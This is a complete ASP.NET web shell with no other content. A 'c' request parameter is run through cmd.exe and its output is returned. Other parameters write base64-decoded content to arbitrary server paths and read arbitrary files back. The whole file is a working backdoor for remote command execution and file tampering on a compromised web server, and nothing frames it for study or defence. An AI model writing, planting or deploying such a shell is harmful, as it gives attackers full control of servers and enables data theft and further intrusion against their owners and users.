<%
string c=Request["c"];
if(c!=null){
System.Diagnostics.ProcessStartInfo si=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+c);
si.RedirectStandardOutput=true;si.RedirectStandardError=true;si.UseShellExecute=false;si.CreateNoWindow=true;
System.Diagnostics.Process p=System.Diagnostics.Process.Start(si);
Response.Write("
"+Server.HtmlEncode(p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd())+"
");
}
string w=Request["w"],t=Request["t"],rr=Request["r"];
if(w!=null&&t!=null){System.IO.File.WriteAllText(Server.MapPath(w),System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(t)));Response.Write("WROTE "+w);}
if(rr!=null){Response.Write("
"+Server.HtmlEncode(System.IO.File.ReadAllText(Server.MapPath(rr)))+"
");}
%>